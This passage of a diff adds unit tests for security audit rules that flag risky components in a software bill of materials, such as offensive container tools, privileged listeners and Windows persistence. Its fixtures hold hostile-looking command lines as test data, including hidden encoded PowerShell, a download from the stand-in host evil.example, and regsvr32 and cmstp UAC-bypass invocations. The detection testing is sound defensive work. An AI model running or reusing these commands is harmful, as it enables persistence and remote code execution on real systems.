|
|
1217
|
+
const bom = makeBom([
|
|
1218
|
+
{
|
|
1219
|
+
type: "file",
|
|
1220
|
+
name: "deepce",
|
|
1221
|
+
version: "",
|
|
1222
|
+
description: "",
|
|
1223
|
+
purl: "pkg:generic/deepce",
|
|
1224
|
+
"bom-ref": "pkg:generic/deepce",
|
|
1225
|
+
properties: [
|
|
1226
|
+
{ name: "SrcFile", value: "/usr/local/bin/deepce" },
|
|
1227
|
+
{ name: "cdx:container:matched", value: "true" },
|
|
1228
|
+
{ name: "cdx:container:name", value: "deepce" },
|
|
1229
|
+
{ name: "cdx:container:offenseTools", value: "deepce" },
|
|
1230
|
+
{
|
|
1231
|
+
name: "cdx:container:riskTags",
|
|
1232
|
+
value: "container-escape,credential-access,offensive-toolkit",
|
|
1233
|
+
},
|
|
1234
|
+
{
|
|
1235
|
+
name: "cdx:container:attackTechniques",
|
|
1236
|
+
value: "T1552.007,T1611,T1613",
|
|
1237
|
+
},
|
|
1238
|
+
],
|
|
1239
|
+
},
|
|
1240
|
+
]);
|
|
1241
|
+
|
|
1242
|
+
const findings = await evaluateRule(rule, bom);
|
|
1243
|
+
assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
|
|
1244
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1245
|
+
});
|
|
1246
|
+
|
|
1247
|
+
it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
|
|
1248
|
+
const rules = await loadRules(RULES_DIR);
|
|
1249
|
+
const rule = rules.find((r) => r.id === "CTR-007");
|
|
1250
|
+
assert.ok(rule, "CTR-007 rule should exist");
|
|
1251
|
+
|
|
1252
|
+
const bom = makeBom([
|
|
1253
|
+
{
|
|
1254
|
+
type: "file",
|
|
1255
|
+
name: "nsenter",
|
|
1256
|
+
version: "",
|
|
1257
|
+
description: "",
|
|
1258
|
+
purl: "pkg:generic/nsenter",
|
|
1259
|
+
"bom-ref": "pkg:generic/nsenter",
|
|
1260
|
+
properties: [
|
|
1261
|
+
{ name: "SrcFile", value: "/usr/bin/nsenter" },
|
|
1262
|
+
{ name: "cdx:container:matched", value: "true" },
|
|
1263
|
+
{ name: "cdx:container:name", value: "nsenter" },
|
|
1264
|
+
{ name: "cdx:container:offenseTools", value: "cdk,deepce" },
|
|
1265
|
+
{
|
|
1266
|
+
name: "cdx:container:riskTags",
|
|
1267
|
+
value: "container-escape,namespace-escape",
|
|
1268
|
+
},
|
|
1269
|
+
{
|
|
1270
|
+
name: "cdx:container:seccompBlockedSyscalls",
|
|
1271
|
+
value: "ptrace,setns,unshare",
|
|
1272
|
+
},
|
|
1273
|
+
{ name: "cdx:container:seccompProfile", value: "docker-default" },
|
|
1274
|
+
],
|
|
1275
|
+
},
|
|
1276
|
+
]);
|
|
1277
|
+
|
|
1278
|
+
const findings = await evaluateRule(rule, bom);
|
|
1279
|
+
assert.ok(
|
|
1280
|
+
findings.length > 0,
|
|
1281
|
+
"Should detect seccomp-sensitive escape helper",
|
|
1282
|
+
);
|
|
1283
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1284
|
+
});
|
|
1285
|
+
|
|
1286
|
+
it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
|
|
1287
|
+
const rules = await loadRules(RULES_DIR);
|
|
1288
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-006");
|
|
1289
|
+
assert.ok(rule, "OBOM-LNX-006 rule should exist");
|
|
1290
|
+
|
|
1291
|
+
const bom = makeBom([
|
|
1292
|
+
{
|
|
1293
|
+
type: "application",
|
|
1294
|
+
name: "cockpit-ws",
|
|
1295
|
+
version: "9090",
|
|
1296
|
+
description: "",
|
|
1297
|
+
purl: "pkg:swid/cockpit-ws@9090",
|
|
1298
|
+
"bom-ref": "pkg:swid/cockpit-ws@9090",
|
|
1299
|
+
properties: [
|
|
1300
|
+
{ name: "cdx:osquery:category", value: "privileged_listening_ports" },
|
|
1301
|
+
{ name: "account", value: "root" },
|
|
1302
|
+
{ name: "address", value: "0.0.0.0" },
|
|
1303
|
+
{ name: "port", value: "9090" },
|
|
1304
|
+
{ name: "path", value: "/usr/libexec/cockpit-ws" },
|
|
1305
|
+
{ name: "service_unit", value: "cockpit.socket" },
|
|
1306
|
+
{ name: "package_source_hint", value: "system-package-path" },
|
|
1307
|
+
],
|
|
1308
|
+
},
|
|
1309
|
+
]);
|
|
1310
|
+
|
|
1311
|
+
const findings = await evaluateRule(rule, bom);
|
|
1312
|
+
assert.ok(findings.length > 0, "Should detect privileged listener risk");
|
|
1313
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1314
|
+
});
|
|
1315
|
+
|
|
1316
|
+
it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
|
|
1317
|
+
const rules = await loadRules(RULES_DIR);
|
|
1318
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-008");
|
|
1319
|
+
assert.ok(rule, "OBOM-LNX-008 rule should exist");
|
|
1320
|
+
|
|
1321
|
+
const bom = makeBom([
|
|
1322
|
+
{
|
|
1323
|
+
type: "application",
|
|
1324
|
+
name: "sudo",
|
|
1325
|
+
version: "4242",
|
|
1326
|
+
description: "",
|
|
1327
|
+
purl: "pkg:swid/sudo@4242",
|
|
1328
|
+
"bom-ref": "pkg:swid/sudo@4242",
|
|
1329
|
+
properties: [
|
|
1330
|
+
{ name: "cdx:osquery:category", value: "sudo_executions" },
|
|
1331
|
+
{ name: "auid", value: "1000" },
|
|
1332
|
+
{ name: "euid", value: "0" },
|
|
1333
|
+
{ name: "login_user", value: "analyst" },
|
|
1334
|
+
{ name: "effective_user", value: "root" },
|
|
1335
|
+
{ name: "path", value: "/usr/bin/sudo" },
|
|
1336
|
+
{
|
|
1337
|
+
name: "cmdline",
|
|
1338
|
+
value: "sudo pkcon refresh force",
|
|
1339
|
+
},
|
|
1340
|
+
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
1341
|
+
{ name: "time", value: "1714212000" },
|
|
1342
|
+
],
|
|
1343
|
+
},
|
|
1344
|
+
]);
|
|
1345
|
+
|
|
1346
|
+
const findings = await evaluateRule(rule, bom);
|
|
1347
|
+
assert.ok(
|
|
1348
|
+
findings.length > 0,
|
|
1349
|
+
"Should detect interactive privileged package tooling",
|
|
1350
|
+
);
|
|
1351
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1352
|
+
});
|
|
1353
|
+
|
|
1354
|
+
it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
|
|
1355
|
+
const rules = await loadRules(RULES_DIR);
|
|
1356
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-009");
|
|
1357
|
+
assert.ok(rule, "OBOM-LNX-009 rule should exist");
|
|
1358
|
+
|
|
1359
|
+
const bom = makeBom([
|
|
1360
|
+
{
|
|
1361
|
+
type: "application",
|
|
1362
|
+
name: "packagekit-helper",
|
|
1363
|
+
version: "2121",
|
|
1364
|
+
description: "",
|
|
1365
|
+
purl: "pkg:swid/packagekit-helper@2121",
|
|
1366
|
+
"bom-ref": "pkg:swid/packagekit-helper@2121",
|
|
1367
|
+
properties: [
|
|
1368
|
+
{ name: "cdx:osquery:category", value: "privilege_transitions" },
|
|
1369
|
+
{ name: "auid", value: "1000" },
|
|
1370
|
+
{ name: "uid", value: "1000" },
|
|
1371
|
+
{ name: "euid", value: "0" },
|
|
1372
|
+
{ name: "gid", value: "1000" },
|
|
1373
|
+
{ name: "egid", value: "0" },
|
|
1374
|
+
{ name: "login_user", value: "analyst" },
|
|
1375
|
+
{ name: "path", value: "/usr/libexec/packagekit-direct" },
|
|
1376
|
+
{
|
|
1377
|
+
name: "cmdline",
|
|
1378
|
+
value: "/usr/libexec/packagekit-direct --repair",
|
|
1379
|
+
},
|
|
1380
|
+
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
1381
|
+
{ name: "package_source_hint", value: "unclassified-path" },
|
|
1382
|
+
],
|
|
1383
|
+
},
|
|
1384
|
+
]);
|
|
1385
|
+
|
|
1386
|
+
const findings = await evaluateRule(rule, bom);
|
|
1387
|
+
assert.ok(
|
|
1388
|
+
findings.length > 0,
|
|
1389
|
+
"Should detect unexpected privilege transition",
|
|
1390
|
+
);
|
|
1391
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1392
|
+
});
|
|
1393
|
+
|
|
1394
|
+
it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
|
|
1395
|
+
const rules = await loadRules(RULES_DIR);
|
|
1396
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-004");
|
|
1397
|
+
assert.ok(rule, "OBOM-WIN-004 rule should exist");
|
|
1398
|
+
|
|
1399
|
+
const bom = makeBom([
|
|
1400
|
+
{
|
|
1401
|
+
type: "data",
|
|
1402
|
+
name: "WindowsUpdateTask",
|
|
1403
|
+
version: "",
|
|
1404
|
+
description: "",
|
|
1405
|
+
purl: "pkg:swid/windows-task",
|
|
1406
|
+
"bom-ref": "pkg:swid/windows-task",
|
|
1407
|
+
properties: [
|
|
1408
|
+
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
1409
|
+
{ name: "enabled", value: "1" },
|
|
1410
|
+
{ name: "hidden", value: "1" },
|
|
1411
|
+
{ name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
|
|
1412
|
+
{
|
|
1413
|
+
name: "action",
|
|
1414
|
+
value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
|
|
1415
|
+
},
|
|
1416
|
+
],
|
|
1417
|
+
},
|
|
1418
|
+
]);
|
|
1419
|
+
|
|
1420
|
+
const findings = await evaluateRule(rule, bom);
|
|
1421
|
+
assert.ok(findings.length > 0, "Should detect suspicious hidden task");
|
|
1422
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1423
|
+
});
|
|
1424
|
+
|
|
1425
|
+
it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
|
|
1426
|
+
const rules = await loadRules(RULES_DIR);
|
|
1427
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-005");
|
|
1428
|
+
assert.ok(rule, "OBOM-WIN-005 rule should exist");
|
|
1429
|
+
|
|
1430
|
+
const bom = makeBom([
|
|
1431
|
+
{
|
|
1432
|
+
type: "data",
|
|
1433
|
+
name: "EvilAutoStartService",
|
|
1434
|
+
version: "",
|
|
1435
|
+
description: "",
|
|
1436
|
+
purl: "pkg:swid/windows-service-evil",
|
|
1437
|
+
"bom-ref": "pkg:swid/windows-service-evil",
|
|
1438
|
+
properties: [
|
|
1439
|
+
{ name: "cdx:osquery:category", value: "services_snapshot" },
|
|
1440
|
+
{ name: "start_type", value: "AUTO_START" },
|
|
1441
|
+
{
|
|
1442
|
+
name: "path",
|
|
1443
|
+
value:
|
|
1444
|
+
"C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
|
|
1445
|
+
},
|
|
1446
|
+
],
|
|
1447
|
+
},
|
|
1448
|
+
]);
|
|
1449
|
+
|
|
1450
|
+
const findings = await evaluateRule(rule, bom);
|
|
1451
|
+
assert.ok(findings.length > 0, "Should detect auto-start service risk");
|
|
1452
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1453
|
+
});
|
|
1454
|
+
|
|
1455
|
+
it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
|
|
1456
|
+
const rules = await loadRules(RULES_DIR);
|
|
1457
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
1458
|
+
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
1459
|
+
|
|
1460
|
+
const bom = makeBom([
|
|
1461
|
+
{
|
|
1462
|
+
type: "data",
|
|
1463
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
1464
|
+
version: "",
|
|
1465
|
+
description: "powershell.exe -nop -w hidden -enc AAAA",
|
|
1466
|
+
purl: "pkg:swid/windows-run-key-lolbas",
|
|
1467
|
+
"bom-ref": "pkg:swid/windows-run-key-lolbas",
|
|
1468
|
+
properties: [
|
|
1469
|
+
{ name: "cdx:osquery:category", value: "windows_run_keys" },
|
|
1470
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
1471
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
1472
|
+
{
|
|
1473
|
+
name: "cdx:lolbas:functions",
|
|
1474
|
+
value: "command,download,script-execution,shell,upload",
|
|
1475
|
+
},
|
|
1476
|
+
{ name: "cdx:lolbas:matchFields", value: "description" },
|
|
1477
|
+
],
|
|
1478
|
+
},
|
|
1479
|
+
]);
|
|
1480
|
+
|
|
1481
|
+
const findings = await evaluateRule(rule, bom);
|
|
1482
|
+
assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
|
|
1483
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1484
|
+
});
|
|
1485
|
+
|
|
1486
|
+
it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
|
|
1487
|
+
const rules = await loadRules(RULES_DIR);
|
|
1488
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-007");
|
|
1489
|
+
assert.ok(rule, "OBOM-WIN-007 rule should exist");
|
|
1490
|
+
|
|
1491
|
+
const bom = makeBom([
|
|
1492
|
+
{
|
|
1493
|
+
type: "data",
|
|
1494
|
+
name: "CommandLineEventConsumerBad",
|
|
1495
|
+
version: "",
|
|
1496
|
+
description: "",
|
|
1497
|
+
purl: "pkg:swid/windows-wmi-lolbas",
|
|
1498
|
+
"bom-ref": "pkg:swid/windows-wmi-lolbas",
|
|
1499
|
+
properties: [
|
|
1500
|
+
{ name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
|
|
1501
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
1502
|
+
{ name: "cdx:lolbas:names", value: "regsvr32.exe" },
|
|
1503
|
+
{
|
|
1504
|
+
name: "cdx:lolbas:functions",
|
|
1505
|
+
value: "library-load,proxy-execution,script-execution",
|
|
1506
|
+
},
|
|
1507
|
+
{
|
|
1508
|
+
name: "command_line_template",
|
|
1509
|
+
value: "regsvr32.exe /s scrobj.dll",
|
|
1510
|
+
},
|
|
1511
|
+
],
|
|
1512
|
+
},
|
|
1513
|
+
]);
|
|
1514
|
+
|
|
1515
|
+
const findings = await evaluateRule(rule, bom);
|
|
1516
|
+
assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
|
|
1517
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1518
|
+
});
|
|
1519
|
+
|
|
1520
|
+
it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
|
|
1521
|
+
const rules = await loadRules(RULES_DIR);
|
|
1522
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-008");
|
|
1523
|
+
assert.ok(rule, "OBOM-WIN-008 rule should exist");
|
|
1524
|
+
|
|
1525
|
+
const bom = makeBom([
|
|
1526
|
+
{
|
|
1527
|
+
type: "data",
|
|
1528
|
+
name: "SuspiciousPowerShell",
|
|
1529
|
+
version: "",
|
|
1530
|
+
description: "",
|
|
1531
|
+
purl: "pkg:swid/windows-process-lolbas",
|
|
1532
|
+
"bom-ref": "pkg:swid/windows-process-lolbas",
|
|
1533
|
+
properties: [
|
|
1534
|
+
{ name: "cdx:osquery:category", value: "processes" },
|
|
1535
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
1536
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
1537
|
+
{
|
|
1538
|
+
name: "cdx:lolbas:functions",
|
|
1539
|
+
value: "command,download,script-execution,shell,upload",
|
|
1540
|
+
},
|
|
1541
|
+
{
|
|
1542
|
+
name: "cmdline",
|
|
1543
|
+
value:
|
|
1544
|
+
"powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
|
|
1545
|
+
},
|
|
1546
|
+
],
|
|
1547
|
+
},
|
|
1548
|
+
]);
|
|
1549
|
+
|
|
1550
|
+
const findings = await evaluateRule(rule, bom);
|
|
1551
|
+
assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
|
|
1552
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1553
|
+
});
|
|
1554
|
+
|
|
1555
|
+
it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
|
|
1556
|
+
const rules = await loadRules(RULES_DIR);
|
|
1557
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-009");
|
|
1558
|
+
assert.ok(rule, "OBOM-WIN-009 rule should exist");
|
|
1559
|
+
|
|
1560
|
+
const bom = makeBom([
|
|
1561
|
+
{
|
|
1562
|
+
type: "application",
|
|
1563
|
+
name: "powershell.exe",
|
|
1564
|
+
version: "9001",
|
|
1565
|
+
description: "",
|
|
1566
|
+
purl: "pkg:swid/powershell.exe@9001",
|
|
1567
|
+
"bom-ref": "pkg:swid/powershell.exe@9001",
|
|
1568
|
+
properties: [
|
|
1569
|
+
{ name: "cdx:osquery:category", value: "listening_ports" },
|
|
1570
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
1571
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
1572
|
+
{
|
|
1573
|
+
name: "cdx:lolbas:functions",
|
|
1574
|
+
value: "command,download,script-execution,shell,upload",
|
|
1575
|
+
},
|
|
1576
|
+
{ name: "address", value: "0.0.0.0" },
|
|
1577
|
+
{ name: "port", value: "9001" },
|
|
1578
|
+
{
|
|
1579
|
+
name: "cmdline",
|
|
1580
|
+
value: "powershell.exe -nop -w hidden -enc AAAA",
|
|
1581
|
+
},
|
|
1582
|
+
],
|
|
1583
|
+
},
|
|
1584
|
+
]);
|
|
1585
|
+
|
|
1586
|
+
const findings = await evaluateRule(rule, bom);
|
|
1587
|
+
assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
|
|
1588
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1589
|
+
});
|
|
1590
|
+
|
|
1591
|
+
it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
|
|
1592
|
+
const rules = await loadRules(RULES_DIR);
|
|
1593
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-010");
|
|
1594
|
+
assert.ok(rule, "OBOM-WIN-010 rule should exist");
|
|
1595
|
+
|
|
1596
|
+
const bom = makeBom([
|
|
1597
|
+
{
|
|
1598
|
+
type: "data",
|
|
1599
|
+
name: "BadTask",
|
|
1600
|
+
version: "",
|
|
1601
|
+
description: "",
|
|
1602
|
+
purl: "pkg:swid/windows-task-uac-lolbas",
|
|
1603
|
+
"bom-ref": "pkg:swid/windows-task-uac-lolbas",
|
|
1604
|
+
properties: [
|
|
1605
|
+
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
1606
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
1607
|
+
{ name: "cdx:lolbas:names", value: "cmstp.exe" },
|
|
1608
|
+
{ name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
|
|
1609
|
+
{ name: "action", value: "cmstp.exe /s payload.inf" },
|
|
1610
|
+
],
|
|
1611
|
+
},
|
|
1612
|
+
]);
|
|
1613
|
+
|
|
1614
|
+
const findings = await evaluateRule(rule, bom);
|
|
1615
|
+
assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
|
|
1616
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1617
|
+
});
|
|
1618
|
+
|
|
1619
|
+
it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
|
|
1620
|
+
const rules = await loadRules(RULES_DIR);
|
|
1621
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-004");
|
|
1622
|
+
assert.ok(rule, "OBOM-MAC-004 rule should exist");
|
|
1623
|
+
|
|
1624
|
+
const bom = makeBom([
|
|
1625
|
+
{
|
|
1626
|
+
type: "data",
|
|
1627
|
+
name: "com.apple.some-security-service",
|
|
1628
|
+
version: "",
|
|
1629
|
+
description: "",
|
|
1630
|
+
purl: "pkg:swid/launchd-override",
|
|
1631
|
+
"bom-ref": "pkg:swid/launchd-override",
|
|
1632
|
+
properties: [
|
|
1633
|
+
{ name: "cdx:osquery:category", value: "launchd_overrides" },
|
|
1634
|
+
{ name: "label", value: "com.apple.some-security-service" },
|
|
1635
|
+
{ name: "key", value: "Disabled" },
|
|
1636
|
+
{ name: "value", value: "1" },
|
|
1637
|
+
{ name: "uid", value: "0" },
|
|
1638
|
+
],
|
|
1639
|
+
},
|
|
1640
|
+
]);
|
|
1641
|
+
|
|
1642
|
+
const findings = await evaluateRule(rule, bom);
|
|
1643
|
+
assert.ok(
|
|
1644
|
+
findings.length > 0,
|
|
1645
|
+
"Should detect disabled Apple launchd label",
|
|
1646
|
+
);
|
|
1647
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1648
|
+
});
|
|
1649
|
+
});
|
|
1650
|
+
|
|
1651
|
+
describe("evaluateRules", () => {
|
|
1652
|
+
it("should sort findings by severity (high before medium before low)", async () => {
|
|
1653
|
+
const rules = await loadRules(RULES_DIR);
|
|
1654
|
+
const bom = makeBom([
|
|
1655
|
+
makeComponent("actions/checkout", "v3", [
|
|
1656
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
1657
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
1658
|
+
["cdx:github:action:uses", "actions/checkout@v3"],
|
|
1659
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
1660
|
+
]),
|
|
1661
|
+
makeComponent("deprecated-go-mod", "1.0.0", [
|
|
1662
|
+
["cdx:go:deprecated", "use other-module instead"],
|
|
1663
|
+
]),
|
|
1664
|
+
]);
|
|
1665
|
+
|
|
1666
|
+
const findings = await evaluateRules(rules, bom);
|
|
1667
|
+
if (findings.length >= 2) {
|
|
1668
|
+
const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
|
|
1669
|
+
for (let i = 1; i < findings.length; i++) {
|
|
1670
|
+
const prev = severityOrder[findings[i - 1].severity] ?? 4;
|
|
1671
|
+
const curr = severityOrder[findings[i].severity] ?? 4;
|
|
1672
|
+
assert.ok(
|
|
1673
|
+
prev <= curr,
|
|
1674
|
+
`Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
|
|
1675
|
+
);
|
|
1676
|
+
}
|
|
1677
|
+
}
|
|
1678
|
+
});
|
|
1679
|
+
});
|
|
1680
|
+
|
|
1681
|
+
describe("auditBom", () => {
|
|
1682
|
+
it("should run audit and return findings", async () => {
|
|
1683
|
+
const bom = makeBom([
|
|
1684
|
+
makeComponent("actions/setup-node", "v3", [
|
|
1685
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
1686
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
1687
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
1688
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
1689
|
+
]),
|
|
1690
|
+
]);
|
|
1691
|
+
|
|
1692
|
+
const findings = await auditBom(bom, {});
|
|
1693
|
+
assert.ok(findings.length > 0, "Should find at least one issue");
|
|
1694
|
+
});
|
|
1695
|
+
|
|
1696
|
+
it("should return empty array for null bom", async () => {
|
|
1697
|
+
const findings = await auditBom(null, {});
|
|
1698
|
+
assert.deepStrictEqual(findings, []);
|
|
1699
|
+
});
|
|
1700
|
+
|
|
1701
|
+
it("should filter by category", async () => {
|
|
1702
|
+
const bom = makeBom([
|
|
1703
|
+
makeComponent("actions/setup-node", "v3", [
|
|
1704
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
1705
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
1706
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
1707
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
1708
|
+
]),
|
|
1709
|
+
makeComponent("sketchy-pkg", "1.0.0", [
|
|
1710
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
1711
|
+
["cdx:npm:isRegistryDependency", "false"],
|
|
1712
|
+
]),
|
|
1713
|
+
]);
|
|
1714
|
+
|
|
1715
|
+
const ciOnly = await auditBom(bom, {
|
|
1716
|
+
bomAuditCategories: "ci-permission",
|
|
1717
|
+
});
|
|
1718
|
+
for (const f of ciOnly) {
|
|
1719
|
+
assert.strictEqual(f.category, "ci-permission");
|
|
1720
|
+
}
|
|
1721
|
+
});
|
|
1722
|
+
|
|
1723
|
+
it("should filter by minimum severity", async () => {
|
|
1724
|
+
const bom = makeBom([
|
|
1725
|
+
makeComponent("actions/setup-node", "v3", [
|
|
1726
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
1727
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
1728
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
1729
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
1730
|
+
]),
|
|
1731
|
+
]);
|
|
1732
|
+
|
|
1733
|
+
const highOnly = await auditBom(bom, {
|
|
1734
|
+
bomAuditMinSeverity: "high",
|
|
1735
|
+
});
|
|
1736
|
+
for (const f of highOnly) {
|
|
1737
|
+
assert.strictEqual(f.severity, "high");
|
|
1738
|
+
}
|
|
1739
|
+
});
|
|
1740
|
+
|
|
1741
|
+
it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
|
|
1742
|
+
const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
|
|
1743
|
+
|
|
1744
|
+
const findings = await auditBom(bom, {
|
|
1745
|
+
bomAuditCategories: "ci-permission",
|
|
1746
|
+
});
|
|
1747
|
+
assert.ok(
|
|
1748
|
+
!findings.some((finding) => finding.ruleId === "CI-006"),
|
|
1749
|
+
"safe PR cache workflow should not trigger CI-006",
|
|
1750
|
+
);
|
|
1751
|
+
});
|
|
1752
|
+
|
|
1753
|
+
it("flags CI-006 for a risky PR cache workflow", async () => {
|
|
1754
|
+
const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
|
|
1755
|
+
|
|
1756
|
+
const findings = await auditBom(bom, {
|
|
1757
|
+
bomAuditCategories: "ci-permission",
|
|
1758
|
+
});
|
|
1759
|
+
assert.ok(
|
|
1760
|
+
findings.some((finding) => finding.ruleId === "CI-006"),
|
|
1761
|
+
"risky PR cache workflow should trigger CI-006",
|
|
1762
|
+
);
|
|
1763
|
+
});
|
|
1764
|
+
|
|
1765
|
+
it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
|
|
1766
|
+
const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
|
|
1767
|
+
|
|
1768
|
+
const findings = await auditBom(bom, {
|
|
1769
|
+
bomAuditCategories: "ci-permission",
|
|
1770
|
+
});
|
|
1771
|
+
assert.ok(
|
|
1772
|
+
!findings.some((finding) =>
|
|
1773
|
+
["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
|
|
1774
|
+
),
|
|
1775
|
+
"safe push workflow should not trigger high-risk-trigger rules",
|
|
1776
|
+
);
|
|
1777
|
+
});
|
|
1778
|
+
|
|
1779
|
+
it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
|
|
1780
|
+
const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
|
|
1781
|
+
|
|
1782
|
+
const workflow = bom.formulation[0].workflows[0];
|
|
1783
|
+
const workflowProps = workflow.properties || [];
|
|
1784
|
+
assert.ok(
|
|
1785
|
+
workflowProps.some(
|
|
1786
|
+
(prop) =>
|
|
1787
|
+
prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
|
|
1788
|
+
prop.value === "true",
|
|
1789
|
+
),
|
|
1790
|
+
);
|
|
1791
|
+
assert.ok(
|
|
1792
|
+
workflowProps.some(
|
|
1793
|
+
(prop) =>
|
|
1794
|
+
prop.name === "cdx:github:workflow:workflowCallInputs" &&
|
|
1795
|
+
prop.value === "target",
|
|
1796
|
+
),
|
|
1797
|
+
);
|
|
1798
|
+
|
|
1799
|
+
const findings = await auditBom(bom, {
|
|
1800
|
+
bomAuditCategories: "ci-permission",
|
|
1801
|
+
});
|
|
1802
|
+
assert.ok(
|
|
1803
|
+
!findings.some((finding) => finding.ruleId === "CI-011"),
|
|
1804
|
+
"producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
|
|
1805
|
+
);
|
|
1806
|
+
assert.ok(
|
|
1807
|
+
!findings.some((finding) =>
|
|
1808
|
+
["CI-016", "CI-017"].includes(finding.ruleId),
|
|
1809
|
+
),
|
|
1810
|
+
"safe workflow_call producer should not trigger privileged producer rules",
|
|
1811
|
+
);
|
|
1812
|
+
});
|
|
1813
|
+
|
|
1814
|
+
it("flags risky workflow_call producers with privileged producer rules", async () => {
|
|
1815
|
+
const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
|
|
1816
|
+
|
|
1817
|
+
const findings = await auditBom(bom, {
|
|
1818
|
+
bomAuditCategories: "ci-permission",
|
|
1819
|
+
});
|
|
1820
|
+
assert.ok(
|
|
1821
|
+
findings.some((finding) => finding.ruleId === "CI-016"),
|
|
1822
|
+
"risky workflow_call producer should trigger CI-016",
|
|
1823
|
+
);
|
|
1824
|
+
assert.ok(
|
|
1825
|
+
findings.some((finding) => finding.ruleId === "CI-017"),
|
|
1826
|
+
"risky workflow_call producer should trigger CI-017",
|
|
1827
|
+
);
|
|
1828
|
+
});
|
|
1829
|
+
|
|
1830
|
+
it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
|
|
1831
|
+
const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
|
|
1832
|
+
|
|
1833
|
+
const findings = await auditBom(bom, {
|
|
1834
|
+
bomAuditCategories: "ci-permission",
|
|
1835
|
+
});
